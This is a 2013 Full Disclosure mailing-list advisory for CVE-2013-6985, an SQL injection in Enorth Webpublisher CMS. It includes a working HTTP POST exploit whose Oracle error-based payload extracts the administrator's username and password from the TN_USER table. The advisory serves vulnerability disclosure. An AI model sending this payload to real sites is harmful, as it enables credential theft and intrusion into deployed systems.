Full Disclosure mailing list archives
[CVE-2013-6985]SQL Injection Vulnerability In Enorth Webpublisher CMS
From: xin.wang <xin.wang () dbappsecurity com cn>
Date: Fri, 6 Dec 2013 10:18:23 +0800
Title: ==== [CVE-2013-6985]SQL Injection Vulnerability In Enorth Webpublisher CMS Vendor: ====== http://products.enorth.com.cn/bfnrglxt/index.shtml Severity: ======= Important Versions Affected: ============== All versions Author: ====== xin.wang(xin.wang(at)dbappsecurity.com.cn) Abstract: ======= Webpublisher CMS so far of the scale of tens of thousands of web sites, with the government, enterprises, scientific research and education and media industries fields such as nearly thousands of business users. The Vulnerability Laboratory Research Team discovered SQL Injection vulnerability in all versions of Enorth Webpublisher CMS. Exploit: ====== POST /pub/m_worklog/log_searchday.jsp HTTP/1.1 Host: www.test.com User-Agent: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn Accept-Encoding: gzip, deflate Cookie: Pragma: no-cache Proxy-Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 180 thisday=20131012') and UTL_INADDR.get_host_name((select v from (select rownum,USER_NAME||chr(94)||PASS_WORD v from TN_USER WHERE USER_ID=1) where rownum=1))>0--&cx.y=16&querytype=1 =====================================
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- [CVE-2013-6985]SQL Injection Vulnerability In Enorth Webpublisher CMS xin . wang (Dec 06)